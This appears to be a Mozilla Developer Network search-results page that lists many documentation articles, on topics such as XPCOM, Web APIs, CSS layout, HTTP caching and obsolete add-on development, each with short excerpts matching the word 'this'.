...the jit ensures
this by using the property cache to forward its work to the interpreter.) for speed, the cache is a fixed-size hash table with no chaining.
... the opcodes that take advantage of the property cache, as of june 2009, are: getprop, get{x,
this,arg,local}prop, and length; name; setprop, bindname, and setname; callprop and callname; and {inc,dec}name and name{inc,dec}.
...And 23 more matches
Using the Places history service
this page provides a map to the external api.
...
this entry contained the url, title, visit count, last visit date, first visit date, host name, last referrer, flags for typed, hidden, and gecko flags (gecko flags is trunk only).
... the navhistory service has broken
this into two tables (see history service design).
...And 23 more matches
XPCOM array guide
this guide describes the available arrays as well as the enumerator classes that can be used to get to them.
... in
this document the term array refers to a container for multiple objects with a numeric, zero-based index.
...
this array is read-only, and the interface does not provide any methods that will allow adding and removing members.
...And 23 more matches
nsIDOMWindow
dom/interfaces/base/nsidomwindow.idlscriptable
this interface is the primary interface for a window object.
... 66 introduced gecko 1.0 deprecated gecko 44 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) starting with firefox 44,
this file is empty as its features were either no longer used or are only available from c++ code; see dom/base/nspidomwindow.h for those.
... while
this interface is not officially defined by any standard bodies, it originates from the de-facto dom level 0 standard.
...And 23 more matches
nsIOutputStream
for
this reason, it is generally the case that a blocking output stream should be implemented using thread-safe addref and release.
... note:
this method may be called more than once, but subsequent calls are ignored.
...
this exception may only be thrown if isnonblocking() returns true.
...And 23 more matches
nsIWindowWatcher
embedding/components/windowwatcher/public/nsiwindowwatcher.idlscriptable
this interface is the keeper of gecko/dom windows.
... inherits from: nsisupports last changed in gecko 0.9.6 usage notes:
this component has an activewindow property.
... clients may expect
this property to be always current, so to properly integrate
this component the application will need to keep it current by setting the property as the active window changes.
...And 23 more matches
nsIXULTemplateBuilder
a template builder is attached to a single dom node;
this node is called the root node and is expected to contain a xul template element as a direct child.
...there may be more than one <queryset> if multiple queries are desired, and
this element is optional if only one query is needed -- in that case the <query> and <rule>s are allowed to be children of the <template> node.
...
this query processor is expected to use
this query to generate results when asked by the template builder.
...And 23 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
this article explores when difficulties can occur, and looks at what can be done to mitigate resulting problems.
... </h1>
this source code contains a couple of line feeds after the doctype and a bunch of space characters before, after, and inside the <h1> element, but the browser doesn’t seem to care at all and just shows the words "hello world!" as if these characters didn’t exist at all:
this is so that whitespace characters don't impact the layout of your page.
...
this is needed internally so that the editor can preserve formatting of documents.
...And 23 more matches
Using readable streams - Web APIs
this article explains the basics.
... note:
this article assumes that you understand the use cases of readable streams, and are aware of the high-level concepts.
... finding some examples we will look at various examples in
this article, taken from our dom-examples/streams repo.
...And 23 more matches
WebGL best practices - Web APIs
this page tackles recommendations across the spectrum of expertise, and not only highlights dos and don'ts, but also details why.
... you can rely on
this document to guide your choice of approach, and ensure you're on the right track no matter what browser or hardware your users run.
...the overhead for
this is relatively low, but re-using vaos means fewer vertexattribpointer calls too, so it's worth doing wherever it's easy.
...And 23 more matches
Lighting a WebXR setting - Web APIs
this guide discusses these topics.
... and while
this article provides brief reminders as to how lighting works in general, it is not by any means a tutorial in lighting or a guide to how to create a properly-lit 3d scene.
... flashback: simulating lighting in 3d although
this article isn't a comprehensive guide to lighting a 3d scene, it's useful to provide a brief reminder as to how lighting works in general.
...And 23 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... the alt attribute holds a text description of the image, which isn't mandatory but is incredibly useful for accessibility — screen readers read
this description out to their users so they know what the image means.
...
this can happen in a number of situations, including: the src attribute is empty ("") or null.
...And 23 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...some mobile browsers (particularly on ios) do not currently implement
this correctly.
... some browsers may resort to a text-only input element that validates that the results are legitimate date/time values before letting them be delivered to the server, as well, but you shouldn't rely on
this behavior since you can't easily predict it.
...And 23 more matches
Performance fundamentals - Web Performance
in the context of open web apps,
this document explains in general what performance is, how the browser platform helps improve it, and what tools and processes you can use to test and improve it.
...for
this interaction, the responsiveness metric is the time elapsed between the tap and the pixel change.
...
this is a familiar concept: everyone prefers, say, games that display 60 frames per second over ones that display 10 frames per second, even if they can't explain why.
...And 23 more matches
Content Scripts - Archive of obsolete content
this page describes how to develop and implement content scripts.
... a message-passing api allows the main code and content scripts to communicate with each other
this complete add-on illustrates all of these principles.
...in
this case the content script is passed in as a string.
...And 22 more matches
Preferences - Archive of obsolete content
this article provides examples for extension developers that wish to use the mozilla preferences system.
... note:
this article doesn't cover all available methods for manipulating preferences; please refer to the xpcom reference pages listed in resources section for the complete list of methods.
...use
this when the preference value may contain non-ascii characters (for example, a user's name).
...And 22 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
draft
this page is not complete.
... « previousnext » fixme: we should include a link to the mdc list of snippets fixme: we need to add a part about 'why and how to create your own component' c++/js
this document was authored by hiroshi shimoda of clear code inc.
...
this chapter explains how to use xpcom to implement advanced processes using only javascript.
...And 22 more matches
Handling Preferences - Archive of obsolete content
this is where the user's settings are stored.
...
this file is updated when preferences are modified by the user.
...
this file is never written to by firefox, but you may wish to set preferences manually in
this file to override other settings.
...And 22 more matches
Drag and Drop JavaScript Wrapper - Archive of obsolete content
this section describes how to use the javascript wrapper for drag and drop.
...
this drag and drop interface is stored in the global package, in the file chrome://global/content/nsdraganddrop.js.
... you can include
this file in your xul file with the script tag in the same way you would include your own scripts.
...And 22 more matches
Template Builder Interface - Archive of obsolete content
an element that does not have a builder will have
this property set to null.
...
this isn't a very common technique, however, here is an example of how
this can be used: <html:div id="photoslist" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:html="http://www.w3.org/1999/xhtml"> <html:h1>my photos</html:h1> <template> <html:p uri="rdf:*"><textnode value="rdf:http://purl.org/dc/elements/1.1/title"/></html:p> </template> </html:div>
this example generates three...
...sometimes
this is due to different whitespace handling for html and xul, which is why the content to generate in the above example is all on one line.
...And 22 more matches
Commands - Archive of obsolete content
as you can see,
this becomes complicated.
...a simple way of using commands is as follows: example: simple command example 1 : source view <command id="cmd_openhelp" oncommand="alert('help!');"/> <button label="help" command="cmd_openhelp"/> in
this example, instead of placing the oncommand attribute on the button, we instead place it on a command element.
... there are two advantages to using
this approach.
...And 22 more matches
Focus and Selection - Archive of obsolete content
this attribute should be set to a number.
...
this function will change the value of the text label.
... we could extend
this example to remove the text when the blur event occurs.
...And 22 more matches
Manifest Files - Archive of obsolete content
« previousnext » in
this section, we'll see how to put chrome and xul files into a package and create the manifest files for them.
...
this latter chrome directory is normally the one used since the application directory might not have sufficient permissions to write into it.
... if you just want to try testing privileged xul code in the firefox browser, you can do
this easily by just using a manifest with only one line in it: create a new directory somewhere.
...And 22 more matches
XForms Custom Controls - Archive of obsolete content
this also includes content loaded from file:// urls.
... it is possible to re-enable
this by following the steps on using remote xul.
...
this is required for all examples here to run!
...And 22 more matches
Windows Media in Netscape - Archive of obsolete content
this article explains how to embed the windows media player activex control in web pages to support netscape 7.1, how to control the windows media player activex control using javascript and provides working examples.
...
this article deals uniquely with netscape 7.1 running on the windows operating system.
...
this control is widely used to provide inline media support for web pages that provide sound, video and other media.
...And 22 more matches
Web fonts - Learn web development
in
this article we will go further, exploring web fonts in detail — these allow you to download custom fonts along with your web page, to allow for more varied, custom text styling.
...
this takes one or more font family names, and the browser travels down the list until it finds a font it has available on the system it is running on: p { font-family: helvetica, "trebuchet ms", verdana, sans-serif; }
this system works well, but traditionally web developers' font choices were limited.
...you can use the font stack to specify preferable fonts, followed by web-safe alternatives, followed by the default system font, but
this adds overhead in terms of testing to make sure that your designs look ok with each font, etc.
...And 22 more matches
Client-Server Overview - Learn web development
as most website server-side code handles requests and responses in similar ways,
this will help you understand what you need to do when writing most of your own code.
...
this discussion is however still very relevant, because the described behaviour must be implemented by your server-side code, irrespective of which programming language or web framework you select.
...
this request includes: a url identifying the target server and resource (e.g.
...And 22 more matches
Embedding the editor
introduction
this document describes the current state of editor embeddability, problems with the existing implementation, some possible embedding scenarios that we need to deal with, and an embedding solution that will fulfill them.
...<htmlarea> is intended as a shorthand for a rich-text multiline text widget embedded in an html document, and is not meant to infer that future versions of mozilla will support
this specific tag.
...composer embedded in a native application in
this application, the <iframe> on which the editor lives is embedded directly in the native application;
this is equivalent to embedding the browser via nsiwebbrowser, but instead having an editable document.
...And 22 more matches
Refcount tracing and balancing
refcount tracing logs calls to addref and release, preferably for a particular set of classes, including call-stacks in symbolic form (on platforms that support
this).
... xpcom_mem_refcnt_log setting
this environment variable enables refcount tracing.
... if you set
this environment variable to the name of a file, the log will be output to that file.
...And 22 more matches
Using XPCOM Components
this chapter demonstrates how mozilla uses some of these xpcom objects, such as the cookiemanager, and shows how access to the weblock component will be defined.
...for now, what's important to see is how components like the ones in
this section are obtained and used by the mozilla browser.
... the cookie manager dialog
this dialog is written in xul and javascript, and uses a part of xpcom called xpconnect to seamlessly connect to the cookiemanager component (see connecting to components from the interface below).
...And 22 more matches
mozIRegistry
warning: the content of
this article may be out of date.
... introduction the title of
this document is completely misleading.
...it happens that
this objective requires storing information about which implementation to use in a place distinct from your source code.
...And 22 more matches
nsIRequest
netwerk/base/nsirequest.idlscriptable
this interface is used by the request initiator to control the request.
... method overview void cancel(in nsresult astatus); boolean ispending(); void resume(); void suspend(); attributes attribute type description loadflags nsloadflags the load flags of
this request.
... when added to a load group,
this request's load flags are merged with the load flags of the load group.
...And 22 more matches
Introduction to the DOM - Web APIs
in
this guide, we'll briefly introduce the dom.
...
this document can be either displayed in the browser window or as the html source.
...
this documentation provides an object-by-object reference to the dom.
...And 22 more matches
Using the Notifications API - Web APIs
note:
this feature is available in web workers.
... the notifications api lets a web page or app send notifications that are displayed outside the page at the system level;
this lets web apps send information to a user even if the application is idle or in the background.
...
this article looks at the basics of using
this api in your own apps.
...And 22 more matches
RTCPeerConnection.createOffer() - Web APIs
rtcofferoptions dictionary the rtcofferoptions dictionary is used to customize the offer created by
this method.
... icerestart optional to restart ice on an active connection, set
this to true.
...
this will cause the returned offer to have different credentials than those already in place.
...And 22 more matches
Using the Web Audio API - Web APIs
example code our boombox looks like
this: note the retro cassette deck with a play button, and vol and pan sliders to allow you to alter the volume and stereo panning.
... we could make
this a lot more complex, but
this is ideal for simple learning at
this stage.
...because of
this modular design, you can create complex audio functions with dynamic effects.
...And 22 more matches
Web audio spatialization basics - Web APIs
the official term for
this is spatialization, and
this article will cover the basics of how to implement such a system.
...it's worth noting that you don't have to move sound within a full 3d space either — you could stick with just a 2d plane, so if you were planning a 2d game,
this would still be the node you were looking for.
...
this is much simpler to use, but obviously nowhere near as versatile.
...And 22 more matches
Using the Web Speech API - Web APIs
this article provides a simple introduction to both areas, along with demos.
... the web speech api has a main controller interface for
this — speechrecognition — plus a number of closely-related interfaces for representing grammar, results, etc.
...
this always needs to be included first.
...And 22 more matches
Border-image generator - CSS: Cascading Style Sheets
this tool can be used to generate css3 border-image values.
...content 'use strict'; /** * ui-slidersmanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.setattribute('type', 'text'); input.style.width = 50 + obj.precision * 10 + 'px'; input.addeventlistener('click', function(e) {
this.select(); }); input.addeventlistener('change', function(e) { var value = parsefloat(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); return input; }; var slidercomponent = function slidercomponent(obj, sign) { var slider = document.createelement('div'); var startx = null; var start_value = 0; s...
...tattribute('data-max')); var step = parsefloat(node.getattribute('data-step')); var value = parsefloat(node.getattribute('data-value')); var topic = node.getattribute('data-topic'); var unit = node.getattribute('data-unit'); var name = node.getattribute('data-info'); var sensivity = node.getattribute('data-sensivity') | 0; var precision = node.getattribute('data-precision') | 0;
this.min = isnan(min) ?
...And 22 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
this article gives an outline of the main features of flexbox, which we will be exploring in more detail in the rest of these guides.
...
this can be contrasted with the two-dimensional model of css grid layout, which controls columns and rows together.
...as soon as we do
this the direct children of that container become flex items.
...And 22 more matches
Adding captions and subtitles to HTML5 video - Developer guides
this article will take the same player and show how to add captions and subtitles to it, using the webvtt format and the <track> element.
... captioned video example in
this article, we will refer to the video player with captions example.
...
this example uses an excerpt from the sintel open movie, created by the blender foundation.
...And 22 more matches
Index - Developer guides
4 getting started ajax, api, advanced, javascript, webmechanics, xmlhttprequest
this article guides you through the ajax basics and gives you some simple hands-on examples to get you started.
...currently, to support all browsers we need to specify two formats, although with the adoption of mp3 and mp4 formats in firefox and opera,
this is changing fast.
...
this article will take the same player and show how to add captions and subtitles to it, using the webvtt format and the <track> element.
...And 22 more matches
Using the application cache - HTML: Hypertext Markup Language
using
this application cache feature is highly discouraged; it’s in the process of being removed from the web platform.
...
this application cache (appcache) interface lists resources that browsers should cache to be available offline.
...the notification bar displays a message such as:
this website (example.com) is asking to store data on your computer for offline use.
...And 22 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
this means that a web application using those apis can only request resources from the same origin the application was loaded from unless the response from other origins includes the right cors headers.
... who should read
this article?
... more specifically,
this article is for web administrators, server developers, and front-end developers.
...And 22 more matches
The "codecs" parameter in common media types - Web media technologies
this information may include things like the profile of the video codec, the type used for the audio tracks, and so forth.
...
this guide briefly examines the syntax of the media type codecs parameter and how it's used with the mime type string to provide details about the contents of audio or video media beyond simply indicating the container type.
...as noted elsewhere,
this format was once commonly used on the web but no longer is, since it required a plugin to use.
...And 22 more matches
Populating the page: how browsers work - Web Performance
in ideal conditions,
this usually doesn't take too long, but latency and bandwidth are foes which can cause delays.
...if you’ve never visited
this site, a dns lookup must happen.
...after
this initial request, the ip will likely be cached for a time, which speeds up subsequent requests by retrieving the ip address from the cache instead of contacting a name server again.
...And 22 more matches
Content Processes - Archive of obsolete content
to understand
this article, it's probably best to read it as if content and add-on processes actually exist.
...
this, too, is primarily related to security.
...in
this model, the ui would be rendered in one process (called the chrome process), whereas each tab and each add-on would run in their own dedicated process (called content and add-on processes, respectively).
...And 21 more matches
ui/sidebar - Archive of obsolete content
so you can rewrite the above code like
this: var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', title: 'my sidebar', url: "./sidebar.html" }); you can include javascript and css from the html as you would with any web page, for example using <script> and <link> tags containing a path relative to the html file itself.
...
this will change the sidebar's content across all windows.
...at
this point the sidebar script is initialized, so you can send messages to the sidebar script and be confident that they will not be lost.
...And 21 more matches
Intercepting Page Loads - Archive of obsolete content
the easy way: load events
this comes from the tabbrowser code snippets page.
...
this._loadhandler = function() {that._onpageload(); }; gbrowser.addeventlistener("load",
this._loadhandler, true); gbrowser is a global object that corresponds to the tabbrowser element in the main browser window.
... gbrowser.removeeventlistener("load",
this._loadhandler, true); finally, the actual code for the handler, which is very simple: _onpageload : function(event) { //
this is the content document of the loaded page.
...And 21 more matches
The Box Model - Archive of obsolete content
this is the system that determines how all elements are laid out visually in a xul document.
...once you grasp
this simple idea, you'll be able to use the dom inspector and css to mold xul elements and layouts with great precision and flexibility.
... most of the examples shown in the rest of
this section were generated using the xul box alignment example.
...And 21 more matches
RDF Datasource How-To - Archive of obsolete content
this article is at least partially outdated.
...the xpcom registration parts and the "as of
this writing, it is not currently possible to implement javascript xpcom components" comment seem outdated didn't check the whole article.
...
this document is a cookbook that describes how to create a native, client-side datasource that works with mozilla's rdf implementation.
...And 21 more matches
Keyboard Shortcuts - Archive of obsolete content
when the key is pressed in
this case, the button is selected.
...although shortcuts such as
this might not always be valid, they will usually work any time the window is open.
...an example is shown below: <keyset> <key id="sample-key" modifiers="shift" key="r"/> </keyset>
this sample defines a keyboard shortcut that is activated when the user presses the shift key and r.
...And 21 more matches
listbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element is used to create a list of items where one or more of the items may be selected.
...if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...And 21 more matches
Theme changes in Firefox 2 - Archive of obsolete content
this article covers the changes that need to be made to update a firefox theme to work properly in firefox 2.
... changes to the default theme the table below lists all the changes made in the default theme for firefox 2; you can use
this information as a starting point for figuring out the changes you need to make.
... browser/safebrowsing/close16x16.png new file;
this is the icon displayed in the safe browsing warning window as a close box for the window.
...And 21 more matches
Archive of obsolete content
so, we've established
this area into which we can archive older documentation.
... material in
this archived content zone should not be used for building new web sites or apps for modern browsers.
... adding preferences to an extension
this article takes the creating a dynamic status bar extension sample to the next level, adding a popup menu that lets you quickly switch between multiple stocks to watch.
...And 21 more matches
How CSS is structured - Learn web development
this is the most common and useful method of bringing css to a document.
... you reference an external css stylesheet from an html <link> element: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <link rel="stylesheet" href="styles.css"> </head> <body> <h1>hello world!</h1> <p>
this is my first css example</p> </body> </html> the css stylesheet file might look like
this: h1 { color: blue; background-color: yellow; border: 1px solid black; } p { color: red; } the href attribute of the <link> element needs to reference a file on your file system.
... the html for an internal stylesheet might look like
this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <style> h1 { color: blue; background-color: yellow; border: 1px solid black; } p { color: red; } </style> </head> <body> <h1>hello world!</h1> <p>
this is my first css example</p> </body> </html> in some circumstances, int...
...And 21 more matches
How to structure a web form - Learn web development
each time you want to create an html form, you must start it by using
this element, nesting all the contents inside.
... we already met
this in the previous article.
...
this was introduced to let you explicitly bind a control with a form even if it is not nested inside it.
...And 21 more matches
Creating hyperlinks - Learn web development
this article shows the syntax required to make a link, and discusses link best practices.
...</p>
this gives us the following result: i'm creating a link to the mozilla homepage.
...</p>
this gives us the following result and hovering over the link displays the title as a tooltip.
...And 21 more matches
Document and website structure - Learn web development
this article looks into how to plan a basic website structure, and write the html to represent
this structure.
...
this usually stays the same from one webpage to another.
...like the header,
this content usually remains consistent from one webpage to another — having inconsistent navigation on your website will just lead to confused, frustrated users.
...And 21 more matches
Multiprocess on Windows
prerequisite reading since so much of
this design resolves around microsoft com and its concept of the apartment, readers of
this document should have a solid understanding of what apartments are.
... unfortunately
this topic is often poorly explained.
... one of the better pieces of documentation is a two-part series written by jeff prosise: understanding com apartments, part i understanding com apartments, part ii for the purposes of
this document, "com" will refer to microsoft com (as opposed to xpcom).
...And 21 more matches
Configuring Build Options
note: do not make substantive changes to
this document without consulting benjamin smedberg <benjamin@smedbergs.us> or one of the build-config peers
this document details how to configure firefox builds.
...(it is possible to manually call configure with command-line options, but
this is not recommended).
...
this is useful if you choose to have multiple mozconfig files for different applications or configurations (see below for a full example).
...And 21 more matches
Localizing with Koala
introduction
this tutorial will guide you through making a couple of changes to firefox's user interface using koala, an add-on for komodo edit created to help localizing mozilla.
... for the purposes of
this tutorial, the locale code that we will use will be called "x-testing".
...if you click on the highlighted arrow pointing down while reading
this tutorial on mdc, you will see two string that need to be translated: add "mdc search" manage search engines...
...And 21 more matches
Creating localizable web applications
by adding locale dropdown menu at bottom of page) and remember
this choice for the future visits.
...you can achieve
this by setting a cookie when the user changes the locale with the language dropdown, or by looking for locale code in the url.
...avoid using it in a subdomain, as it can cause problems with certificates (
this is wrong: http://en-us.example.com/foo/bar).
...And 21 more matches
gettext
warning:
this document pertains to the development of mozilla web sites and not to the development of gecko-based extensions or applications.
...to take advantage of
this functionality, you need to use a different keyword (i.e.
... consider the following code snippet: <?php $num = 1; printf(ngettext("%d user likes
this.", "%d users like
this.", $num), $num); ?> depending on the value of the $num variable,
this code will either use the singular ("user likes) or the plural ("users like") form of the string.
...And 21 more matches
AsyncTestUtils extended framework
this is likely to happen when i/o is involved or a potentially expensive process wants to break itself up into smaller chunks (like a search operation) so that the ui stays responsive.
...
this is how asynchronous callbacks get their chance to run again.
... how does
this affect my tests?
...And 21 more matches
Python binding for NSS
this documentation is available via the numerous python documentation extraction tools.
...
this allows other python threads to execute during the time a nss/nspr function is progress in another thread.
...examples of
this are the various callbacks which can be set and their parameters.
...And 21 more matches
Places utilities for JavaScript
warning: the content of
this article may be out of date.
... utils.js is accessible at the following url: http://mxr.mozilla.org/mozilla-centr...ntent/utils.js
this file includes utility functions used by a lot of the bookmarking, tagging, and annotation services that are built into firefox.
... there are several predefined versions of
this for common calls.
...And 21 more matches
IAccessible2
other-licenses/ia2/accessible2.idlnot scriptable please add a summary to
this article.
...t] long role ); hresult scrollto([in] enum ia2scrolltype scrolltype ); hresult scrolltopoint([in] enum ia2coordinatetype coordinatetype, [in] long x, [in] long y ); [propget] hresult states([out] accessiblestates states ); [propget] hresult uniqueid([out] long uniqueid ); [propget] hresult windowhandle([out] hwnd windowhandle ); methods attributes() returns the attributes specific to
this iaccessible2 object, such as a cell's formula.
...[propget] hresult extendedstates( [in] long maxextendedstates, [out, size_is(,maxextendedstates), length_is(, nextendedstates)] bstr extendedstates, [out] long nextendedstates ); parameters maxextendedstates
this parameter is ignored.
...And 21 more matches
nsIScriptableIO
there are alternative xpcom apis you can use, your help in updating
this pages to use the supported api is very much welcome!
...for your convenience,
this api is published through a global io object.
... for more details about how to use
this object, see the file and stream guide.
...And 21 more matches
XPIDL
float float float* number long int32_t int32_t* number long long int64_t int64_t* number octet uint8_t uint8_t* number short int16_t int16_t* number string const char* char** string only chars in range \u0000-\u00ff permitted most of the time you don't want to use
this type but autf8string or acstring unsigned long uint32_t uint32_t* number unsigned long long uint64_t uint64_t* number unsigned short uint16_t uint16_t* number wchar char16_t char16_t* string full unicode set permitted wstring const char16_t* char16_t** string full unicode set permi...
...tted most of the time you don't want to use
this type but astring.
... in addition to
this list, nearly every idl file includes nsrootidl.idl in some fashion, which also defines the following types: table 2: types provided by nsrootidl.idl idl typedef c++ in parameter c++ out parameter js type notes prtime (xpidl unsigned long long typedef, 64 bits) number prtime is in microseconds, while js date assumes time in milliseconds nsresult (xpidl unsigned long typedef, 32 bits) number nsrefcnt (xpidl unsigned long typedef, 32 bits) ...
...And 21 more matches
RTCIceCandidatePairStats - Web APIs
this does not take into account the size of the ip overhead, nor any other transport layers such as tcp or udp.
...
this does not take into account the size of the ip overhead, nor any other transport layers such as tcp or udp.
... bytesreceieved optional the total number of payload bytes received (that is, the total number of bytes received minus any headers, padding, or other administrative overhead) on
this candidate pair so far.
...And 21 more matches
Taking still photos with WebRTC - Web APIs
this article shows how to use webrtc to access the camera on a computer or mobile phone with webrtc support and take a photo with it.
... try
this sample then read on to learn how it works.
... <div class="camera"> <video id="video">video stream not available.</video> <button id="startbutton">take photo</button> </div>
this is straightforward, and we'll see how it ties together when we get into the javascript code.
...And 21 more matches
Geometry and reference spaces in WebXR - Web APIs
in
this article, we introduce the ways in which webxr expands upon the geometry of webgl, and how the positions and orientations of objects—both physical and virtual—are described in relation to one another using spaces and, in particular, reference spaces.
...s of 3d geometry while we'll examine here the required math operations used to compute the positions, orientations, and movement of objects in virtual space—plus the need to integrate the human viewer of the scene into the mix—a thorough introduction to geometry and the use of matrices and vectors to manage 3d representations of a scene is well beyond the scope of what can be accomplished in
this article.
...webxr inherits
this standard, as well as the fact that the world is a cube two meters wide, two meters tall, and two meters deep.
...And 21 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
to accomplish
this, software needs the ability to not only track the locations, orientation, and movements of objects in the virtual world, but the user's location, orientation, and movement as well.
... in
this guide, we'll explore how webxr uses spaces and, more specifically, reference spaces, to track the positions, orientations, and movements of objects and of the user's body in the virtual world.
... note:
this article presumes that you are familiar with the concepts introduced in geometry and reference spaces in webxr: that is, the basics of 3d coordinate systems, as well as webxr spaces, reference spaces, and how reference spaces are used to create local coordinate systems for individual objects or movable components within a scene.
...And 21 more matches
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
in
this guide, we will take a thorough look at how the alignment and justification properties work in flexbox.
... to center our box we use the align-items property to align our item on the cross axis, which in
this case is the block axis running vertically.
... we use justify-content to align the item on the main axis, which in
this case the inline axis running horizontally.
...And 21 more matches
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
this means that they will contain the content added to them without causing an overflow.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four <br>
this cell <br>has extra <br>content.
... </div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; grid-auto-rows: minmax(100px, auto); } you can also pass in a track listing,
this will repeat.
...And 21 more matches
HTTP caching - HTTP
this achieves several goals: it eases the load of the server that doesn’t need to serve all clients itself, and it improves performance by being closer to the client, i.e., it takes less time to transmit the resource back.
...
this page will mostly talk about browser and proxy caches, but there are also gateway caches, cdn, reverse proxy caches and load balancers that are deployed on web servers for better reliability, performance and scaling of web sites and web applications.
...
this cache is used to make visited documents available for back/forward navigation, saving, viewing-as-source, etc.
...And 21 more matches
Strict mode - JavaScript
this isn't an official term, but be aware of it, just in case.
...i'm a strict mode script!";
this syntax has a trap that has already bitten a major site: it isn't possible to blindly concatenate conflicting scripts.
...
this eliminates the concatenation problem and it means that you have to explicitly export any shared variables out of the function scope.
...And 21 more matches
Miscellaneous - Archive of obsolete content
this page contains small, self-explanatory code snippets.
... name of the application running us services.appinfo.name; // returns "firefox" for firefox services.appinfo.version; // returns "2.0.0.1" for firefox version 2.0.0.1 retrieving the version of an extension as specified in the extension's install.rdf components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("extension-guid@example.org", function(addon) { //
this is an asynchronous callback function that might not be called immediately alert("my extension's version is " + addon.version); }); restarting firefox/thunderbird/seamonkey_2.0 for firefox 3 see onwizardfinish around here: http://mxr.mozilla.org/seamonkey/sou...pdates.js#1639 for firefox 2 see around here: http://mxr.mozilla.org/mozilla1.8/so...pdates.js#1631 bug 338039 tracks improving t...
...
this event is mozilla-only; other browsers may support window.onmousewheel.
...And 20 more matches
menu - Archive of obsolete content
this element is also used to create submenus.
...if
this value is set, it overrides an assigned key set in the key attribute.
...
this attribute does not apply to menus directly on the menubar.
...And 20 more matches
The First Install Problem - Archive of obsolete content
this is an old working document; see en/gecko_plugin_api_reference/plug-in_development_overview for current information.
...if
this happens, gecko-based browsers often won't be able to discover the plugin, and will prompt the user to download the plugin again if the affiliated mime type is encountered on the web.
... unless gecko does a pre-emptive scan upon startup for desirable plugins that are not in the browser's plugins directory first, the best way to solve
this problem is to encourage plugin vendors to leave dlls (and xpt files, if applicable) in a location that gecko can discover at runtime.
...And 20 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
the purpose of
this page is to provide provide theme developers with notes on how to fix common issues.
...
this document was started on july 27, 2012 so it will take some time to completely fill in and some issues still need to have solutions written for them.
...please see the following threads on mozillazine for solutions to
this issue: http://forums.mozillazine.org/viewtopic.php?f=18&t=2131121 http://forums.mozillazine.org/viewtopic.php?f=18&t=1953371&start=60 windows 7 aero not going into full screen mode properly on win7 with aero glass support firefox doesn't always go to full screen mode from a normal window properly.
...And 20 more matches
Audio for Web games - Game development
this article provides a detailed guide to implementing audio for web games, looking at what works currently across as wide a range of platforms as possible.
...
this means you will have to structure your audio playback to take account of that.
...
this is usually mitigated against by loading the audio in advance and priming it on a user-initiated event.
...And 20 more matches
Accessible multimedia - Learn web development
this article shows how.
... multimedia and accessibility so far in
this module we have looked at a variety of content and what needs to be done to ensure its accessibility, ranging from simple text content to data tables, images, native controls such as form elements and buttons, and even more complex markup structures (with wai-aria attributes).
...
this article on the other hand looks at another general class of content that arguably isn't as easy to ensure accessibility for — multimedia.
...And 20 more matches
Organizing your CSS - Learn web development
in
this article we will take a brief look at some best practices for writing your css to make it easily maintainable, and some of the solutions you will find in use by others to help improve maintainability.
... /*
this is a css comment it can be broken onto multiple lines.
...you will thank yourself when you come back to
this project in a year or so, and can vaguely remember there was a great tutorial about that thing, but where is it?
...And 20 more matches
Advanced text formatting - Learn web development
the elements described in
this article are less known, but still useful to know about (and
this is still not a complete list by any means).
...
this is usually a feeling, thought or piece of additional background information description lists use a different wrapper than the other list types — <dl>; in addition each term is wrapped in a <dt> (description term) element, and each description is wrapped in a <dd> (description definition) element.
...
this is usually a feeling, thought, or piece of additional background information.</dd> </dl> the browser default styles will display description lists with the descriptions indented somewhat from the terms.
...And 20 more matches
Accessibility in React - Learn web development
including keyboard users at
this point, we've accomplished all of the features we set out to implement.
...let's explore
this now.
...
this outline is your visual indicator that the browser is currently focused on
this element.
...And 20 more matches
Implementing feature detection - Learn web development
this article details how to write your own simple feature detection, how to use a library to speed up implementation, and native features for feature detection such as @supports.
...if you don't do
this, browsers that don't support the features you are using in your code won't display your sites properly and will just fail, creating a bad user experience.
... before we move on, we'd like to say one thing upfront — don't confuse feature detection with browser sniffing (detecting what specific browser is accessing the site) —
this is a terrible practice that should be discouraged at all costs.
...And 20 more matches
Mozilla’s UAAG evaluation report
the uaag is not the basis for any government accessibility regulations at
this time.
...
this document is based on the september 12, 2001 candidate recommendation of uaag 1.0.
...
this may be different from the most recent version, check for updates on the user agent working group home page.
...And 20 more matches
Obsolete Build Caveats and Tips
purpose of
this page the mozilla build process and code base have evolved considerably over the past few years.
...
this has resulted in many caveats and tips being added to the mdn documentation for building older versions of the code base or dealing with older build tools.
...in reality, you should probably not need to do
this, since that code is very obsolete.
...And 20 more matches
Cross Process Object Wrappers
this document describes cross process object wrappers (cpows), which enable chrome code to synchronously access content in multiprocess firefox.
...however, if an add-on passes a cpow into a platform api, and that platform api then attempts an unsafe operation on it,
this will throw an exception.
...to learn more about
this, see the documentation on using the message manager.
...And 20 more matches
Using the Browser API
non-standard
this feature is non-standard and is not on a standards track.
...
